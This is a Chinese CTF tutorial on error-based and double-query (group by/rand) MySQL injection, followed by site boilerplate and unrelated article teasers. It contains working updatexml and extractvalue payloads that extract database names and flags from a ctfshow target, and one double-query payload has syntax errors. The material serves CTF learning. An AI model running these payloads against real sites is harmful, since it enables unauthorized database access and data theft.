CTF常用sql注入(二)报错注入(普通以及双查询)

0x05 报错注入

适用于页面无正常回显,但是有报错,那么就可以使用报错注入

基础函数

floor()
向下取整函数
返回小于或等于传入参数的最大整数。换句话说,它将数字向下取整到最接近的整数值。
示例:
floor(3.7) 返回 3
floor(-2.5) 返回 -3round()
四舍五入函数
将传入的数字四舍五入到最接近的整数或指定小数位数的精度。
示例:
round(3.7) 返回 4
round(3.14159, 2) 返回 3.14(保留两位小数)ceil()
向上取整函数
返回大于或等于传入参数的最小整数。与 floor() 函数相反,它将数字向上取整到比给定数字大的最小整数。
示例:
ceil(3.2) 返回 4
ceil(-1.5) 返回 -1count()
在mysql中计算行数mid()
用于截取返回结果的函数
mid((查询语句),1,32)脚标从1开始截取32个字符updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容
那么我们如果要注入的话肯定是不能让他正确返回的我们直接
updatexml(任意值,(查询语句),任意值)extractvalue()
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容
同理即可limit的使用
返回几列中的任意一列
例如
limit 0,1返回第一列
limit 3,1返回第四列right()
right(x,y)  截取x字符串的从右边最后开始数y个字符
right函数的使用是截取字符串的右边部分left()
left(x,y)  截取x字符串的从左边最开始的开始数y个字符

普通报错注入

经过上面的函数我们直接实现即可

?sort=-1 or updatexml(1,concat(0x3d,(select schema_name from information_schema.schemata limit 5,1),0x3d),3)--+

在这里插入图片描述

依次类推查下去即可
查到flag部分发现查不完

mid函数
?sort=-1 or updatexml(1,concat(0x3d,mid((select group_concat(flag4s) from ctfshow.flags),32,32),0x3d),3)--+左右函数使用
?sort=-1 or updatexml(1,concat(0x3d,(select left(flag4s,31) from ctfshow.flags),0x3d),3)--+
?sort=-1 or updatexml(1,concat(0x3d,(select right(flag4s,14) from ctfshow.flags),0x3d),3)--+

在这里插入图片描述
在这里插入图片描述

extractvalue换一下就行

?sort=-1 or extractvalue(1,concat(0x3d,(select right(flag4s,14) from ctfshow.flags),0x3d))--+
?sort=-1 or extractvalue(1,concat(0x3d,(select group_concat(flag4s) from ctfshow.flags),0x3d))--+

双查询报错注入

知识补充

这里我们会使用group by注入来进行重要讲解

rand()函数
生成一个0~1的随机数

在这里插入图片描述

select count(*),username from user group by username;

在这里插入图片描述

select username,count(*) from user group by username;
此时group by会生成一张虚拟的表其中是key的键值对

大概是这样

keycount(*)
admin1
admin21
admin31
flag1
前面的名称呢肯定是在username这个列里面所找到的准确的值

在这里插入图片描述

select username,count(*) from user group by "username";

这个表呢

keycount(*)
username4

他不会打开列去找值而是直接填充username
由于版本问题我这里已经是无法掩饰了

那么回到正题
我们要利用联合注入来实现双查询报错注入(报错是利用的group by报错原理)
那么看上面的语句大家已经看出来了我们写句子的结构大致就是那个样子

?id=select count(*),concat(0x3d,mid((select group_concat(table_name) from information_schema.schemata)1,32),0x3d,round(rand()*2))a from information_schema.schemata group by a--+聚合函数方便能够正常响应          拼接注入语句   别名a 这个a的内容包括(子查询中查询到的所有内容)                                                                        这里from后面的内容是可以替换的                                根据a生成虚拟表

查询语句生成的大概是这样的句子,

keycount(*)
=erformance_schema,ctfshow_web=01
=erformance_schema,ctfshow_web=11
=erformance_schema,ctfshow_web=21

那么这样子的虚拟表就被生成了,
引用一个师傅的话

最后的报错是最重要的地方!重复的键值;那么为什么键值会重复呢,就是因为concat函数执行了两次,因为concat是连接两个随机字符串,当第二次执行的时候,有可能会出现与第一次键值重复的情况!那么这种情况下,就会报错!也就是:使用聚合函数,group by子句,并利用随机函数产生错误运行时,由于涉及的随机函数和聚合函数计算;当在一个聚合函数,比如count后面如果使用分组语句就会把查询的一部分以错误形式显示出来;因为concat函数执行两次,比如select database(),这样就执行了两次select database,与后面的随机函数链接在一起,可能会随机重复,就会报错;通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。结论是:当与临时表里面的值进行比较,如果不同,就插入,但是插入的时候又计算了一次,所以如果插入时计算的值与直接比较的值不一样,则报错!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/866031.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

5.基于SpringBoot的SSMP整合案例-数据层开发

目录 1.新建项目 2.实体类开发: 2.1在pom.xml中增加Lombok坐标: 2.2添加Book实体类 3.数据层开发: 3.1 配置MyBatisPlus与Druid 3.2创建数据层接口 3.3写测试类 3.4点击运行: 4.数据层快速开发: 4.1配置MyB…

流式数据库 RisingWave「Demo」:直播指标实时分析

直播因其能与观众进行实时互动的独特优势,成为目前最为流行的娱乐形式之一。想要优化直播效果,有许多指标需要跟踪。最常见的指标比如:人流量、评论数量、直播卡顿时长等等。 本教程将分享如何使用 RisingWave 监控直播流量指标。我们为本教…

python访问mongoDB

pip install pymongo1.建立连接 (1)模块引用 import pymongoClientMongoClient(host10.90.9.101,port27017)(2)访问数据库 dbclient.myDBdbconn.get_database("myDB")2.集合操作 (1)插入文档 colldb.get_collection(…

docker-compose version is obsolete

如果更新了docker或者docker-desktop 启动时候发现有 version is obsolete警告 删除yml第一行的version字段 上社区原文 Technically you can still define it… But you will get the warning you observed, and it won’t be used, as docker compose v2 (the cli plugin…

关于TaOTUB1的信息总结

关于TaOTUB1的信息总结 文献标题: Reducing expression of TaOTUB1s decreases tiller number in wheat 核心内容: 背景和目的: 小麦的分蘖数量是影响产量的重要农艺性状。OTUB1在水稻中被发现能够调控分蘖数量,而在小麦中的功能尚不明确。本研究旨在通过鉴定和分…

C++视觉开发 四.手势识别

本章记录传统手势识别,在表示0-5六个数值时的识别问题。例如识别剪刀石头布,手势,以及其表示的动作。在识别时将手势中的凹陷区域称为凸缺陷,其个数作为识别的重要依据。 需要注意,在凸缺陷个数为0时,无法…

细说QT程序高分屏适配

文章目录 高分屏适配适配屏幕缩放禁用屏幕缩放开启系统配置属性获取当前屏幕信息在Qt中实现高分辨率屏幕的适配,主要涉及对界面元素、字体大小和布局进行优化,以保证应用程序在不同分辨率和设备像素比率(DPI)的显示屏上均能正确显示。下面是一些关键步骤和技巧,用于在Qt应用…

S272钡铼技术4G无线RTU支持多路DIN输入和模拟量转换至4G网络

钡铼第四代RTU S272是一款先进的工业级4G远程遥测终端,为各种远程工业数据采集和控制系统提供了高效解决方案。结合了现代通信技术和多功能的输入输出接口,S272不仅支持多路数字量和模拟量输入,还具备灵活的扩展性和强大的控制功能&#xff0…

简单实现利用飞书机器人推送消息给相关人员群的方法

利用的飞书的自定义机器人,将系统中的错误信息推送给技术群的功能。 飞书文档地址:开发文档 - 飞书开放平台 自定义机器人只能在群聊中使用的机器人,在当前的群聊中通过调用webhook地址来实现消息的推送。 配置逻辑可以看飞书的官方文档&am…

WEB攻防-XSS跨站反射型存储型DOM型标签闭合输入输出JS代码解析

文章目录 XSS跨站-输入输出-原理&分类&闭合XSS跨站-分类测试-反射&存储&DOM反射型XSS存储型XSSDOM-base型XSS XSS跨站-输入输出-原理&分类&闭合 漏洞原理:接受输入数据,输出显示数据后解析执行 基础类型:反射(非持续…

CIDR地址表示法

CIDR地址表示法: 假如我们的服务器IP列表为:172.18.0.157~172.18.0.163,该如何表示呢? A. 172.18.0.157/163 B. 172.18.0.157/7 C. 172.18.0.157/24 D. 172.18.0.157/26 E. 172.18.0.0/26 F.1…

典型案例 | 基于全数字实时仿真的嵌入式DevOps解决方案

为丰富浙江省信息技术应用创新(以下简称“信创”)产业生态,在全社会各领域形成示范效应,浙江省经信厅联合省密码管理局开展2023年浙江省深化信创典型案例评选工作。 经过征集申报、专家评选、名单公示等程序,确定36个…

实现前端项目自动构建和部署(Gitee Go)

前言 相信所有的前端开发者都希望将自己的代码部署在服务器上让所有人都能访问到,但是却不知道如何进行部署。其实要是实现代码上线非常简单,我们只需要将build之后的代码上传到服务器,然后通过Nginx起一个服务指向我们build后的代码就可以了…

Cocos 7.2~7.4

这几天没更新CSDN,跑去玩Cocos了。自从知道我的粉丝百分之十之八九都是假人,更新确实没什么动力了。主要还是把这边当成一个日记本吧。 选择cocos的原因也很简单。会点js,技术栈比较接近,上手估计也快。简单记录下这几天的内容 主…

@amap/amap-jsapi-loader 实现高德地图中添加多边围栏,并可编辑,编辑后获得围栏各个点的经纬度

先上一张效果图 看看是不是大家想要的效果~ ❤️ 希望其中的小点能帮助大家,主要看怎么绘制在地图上的代码即可 1.第一步要加入项目package.json中或者直接yarn install它都可以 想必大家应该都会 "amap/amap-jsapi-loader": "0.0.7&qu…

信创产业发展迅速,信创测试需要伴随

信创产业的发展现状呈现出蓬勃的生机与活力。这一领域不仅构成了数据安全、网络安全的基石,更是新型基础设施建设的重要一环。信创产业涵盖了众多关键领域,如云计算、软件(包括操作系统、中间件、数据库及应用软件)、硬件&#xf…

如何使用云硬盘备份

云硬盘系统盘备份不能直接进行数据恢复,可以使用该备份创建系统盘。因为重装系统时,系统盘的ID会发生变化。 另外弹性云主机(windows)可以开机的时候,先选中虚拟机,按本地的F8 进入安全模式。

C语言作业笔记

1. 要找俩个数使其相加等于一个数,那么俩个数从头尾出发,先动一边,假设是尾先动,一开始俩个数相加大于sum(小于的话就动头),那么总有一时刻俩数相加小于sum,则就在那一刻停下来&…

关于5G和卫星

手机,已经串联起了我们生活中的一切环节。我们随时随地拿出手机,都能畅快地上网。 这一切是如此地理所当然,以至于我们甚至想不到这样不可思议的问题: 移动通信网络真的无处不在吗? 我们都知道,地球虽叫…

【QT】Qt智能指针QPointer、QSharedPointer、QWeakPointer、QScopedPointer

QPointer QPointer can only point to QObject instances. It will be automatically set to nullptr if the pointed to object is destroyed. It is a weak pointer specialized for QObject. QPointer只能指向QObject实例。如果指向的对象被销毁,它将自动设置为 …